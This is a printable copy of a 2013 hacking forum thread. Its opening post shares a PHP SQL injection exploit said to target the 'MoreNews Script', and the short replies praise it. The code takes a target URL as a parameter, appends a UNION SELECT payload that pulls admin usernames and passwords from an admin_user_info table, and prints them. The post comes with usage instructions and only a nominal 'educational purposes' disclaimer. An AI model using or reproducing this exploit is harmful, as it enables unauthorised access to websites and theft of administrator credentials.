SQL Injection Exploit [PHP] - Printable Version

SQL Injection Exploit [PHP] - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: SQL Injection Exploit [PHP] (/Thread-SQL-Injection-Exploit-PHP)

Pages: 1 2 3

SQL Injection Exploit [PHP] - Boomslang - 07-03-2013

Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.

Usage:

Code:
http://localhost/script.php?web=http://targetsite.com/page.php?param=

Sauce:

PHP Code:
<?php
error_reporting(0);
print "<h2>HackCommunity SQL Injection Exploit</h2>";
if(!empty($_GET['web'])){
print "<b>Scanning the vulnerability...</b><br>________________________________<br>";
$injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass%2C0x3c2f68633e)%20from%20admin_user_info";
$source = file_get_contents($_GET['web'] . $injquery);

if(strstr($source, "<hc>")){
$info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>'));
print "Vulnerability Exploit Successfull!<br>
<br>Result => $info";

}else{
print "Vulnerability Not Avaible For This Website..<br>";

}
}else{
print "Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>";

}

?>

Image:

Au Revoir..

RE: SQL Injection Exploit [PHP] - stranded4eva - 07-05-2013

fucking nice i gotta try this,looks complicated though hmmm!

RE: SQL Injection Exploit [PHP] - Boomslang - 07-05-2013

(07-05-2013, 05:45 PM)stranded4eva Wrote: fucking nice i gotta try this,looks complicated though hmmm!

Not so complicated actually Smile

Thanks for feedback!

RE: SQL Injection Exploit [PHP] - VipVince - 07-10-2013

Nicely done man, remote exploits are fun Tongue

RE: SQL Injection Exploit [PHP] - Boomslang - 07-10-2013

(07-10-2013, 10:59 AM)VipVince Wrote: Nicely done man, remote exploits are fun

Indeed they're fun Smile

RE: SQL Injection Exploit [PHP] - Boomslang - 07-10-2013

(07-10-2013, 10:59 AM)VipVince Wrote: Nicely done man, remote exploits are fun

Indeed they're fun Smile

RE: SQL Injection Exploit [PHP] - xtam4 - 08-05-2013

Well i guess, this is SQLi Vulnerability scanner.

RE: SQL Injection Exploit [PHP] - hackoboy - 08-05-2013

It does works on latest version of XAMPP for windows, but I don't know with Linux version...

RE: SQL Injection Exploit [PHP] - Shad0w Warr10r - 08-05-2013

Well done!! greatt!! thanks for the sharee bro..